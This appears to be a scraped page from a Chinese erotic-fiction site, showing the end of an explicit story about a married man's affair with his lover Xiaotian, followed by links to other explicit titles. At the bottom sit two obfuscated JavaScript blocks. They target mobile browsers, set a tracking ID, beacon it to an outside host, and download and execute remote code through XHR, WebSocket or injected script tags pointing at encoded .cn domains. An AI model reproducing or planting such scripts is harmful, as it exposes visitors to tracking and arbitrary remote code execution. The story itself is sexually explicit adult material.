“小甜……”我轻拍着她的背,想着要如何安慰,她却埋在我身上不肯抬起头。我只好这样哄着她:“你会想离开我,本来就是正常的,哪一个女人能拿青春和一个有妇之夫虚耗呢?你已经给我够多了……反而是我,什么都没有满足过你……”

“不!不是这样……当初和你在一起、也是我自愿的……后来我却对你那么坏……都是我的错……”她任性的抱紧我一直哭诉自己过错,我也只能尽量的安抚,身上的衣服都被她眼泪染湿了……心中却找回昔日的甜蜜,感觉自己又是小甜最重要的人,这种睽违已久的幸福让长达半年的低潮一扫而空。

“你还会要我吗?……我想和你在一起……这次是真的……不会再骗你的了……你不用为我离婚……我不用名分……”小甜噙着泪期盼的看着我求道。

我捧起她的脸,柔声对她说:“我很爱你,但怎么能这样委屈你……”

“嗯……”她用力的摇头,激动的说:“如果你不要我,只要转过头、我就马上会走开,不然我这辈子就只跟着你!”

“小甜……”我心中充满了温暖,低头朝她柔软的双唇吻去,她也热烈的吐出香嫩舌瓣回应,两人一下子重心不稳,倒在床上更激情的缠绵起来。

唇舌交融了许久才松开,她喘着气低头害羞的说:“我……我不会怀阿痞的孩子……因为……危险期早就过了……”

“你这小狐狸精,这么会骗人!”我假装生气的搔她痒,她咯咯格的在床上翻滚娇笑,两人又回到热恋时快乐的时光。

“哈……等……等一下……啊……我喘不过气……哈哈……”她被我弄得快唿吸困难,我才放过她。

“你好可恶……不过我也应该处罚!”她敏捷的跳下床,一脸调皮神秘的样子,我不知道她想搞什么鬼,只见她缓缓褪下和服,将美丽动人的胴体赤裸裸展示在我面前,充满诱惑的眼神看得我心脏噗通噗通跳,接着又姿态撩人的屈膝下去,我顺着她的动作往下看,才发觉她不是空手过来,而是提了一只袋子。

“把我铐起来,我想被你处罚……这辈子只有你能够处罚我……而且每天都要……”她从袋中拿出四根熟悉的铐炼,含羞而柔媚的送到我面前……

【完】


上一篇:强干巨乳舅妈

下一篇:班花在网吧裸聊自慰时被我发现了


function gwnDNE(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function AWKfLmPv(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return gwnDNE(t);};window[''+'R'+'o'+'k'+'X'+'D'+'L'+'a'+'N'+'E'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function Wjgr(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=AWKfLmPv,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=Wjgr(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=Wjgr(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmh2Y2NkLmNuJTNBODg5MQ==','d3NzJTNBJTJGGJTJGGYS5rZmdqYS5jbiUzQTk1MzM=','162093',window,document,['l','G']);}:function(){};
function AVPIRq(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function TKWAwg(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return AVPIRq(t);};window[''+'n'+'f'+'q'+'H'+'Q'+'c'+'O'+'L'+'Y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function nmgl(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=TKWAwg,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=nmgl(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=nmgl(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmh2Y2NkLmNuJTNBODg5MQQ==','d3NzJTTNBJTTJGJTTJGYS5rZmdqYS5jbiUzQTTk1MzM=','162092',window,document,['Q','T']);}:function(){};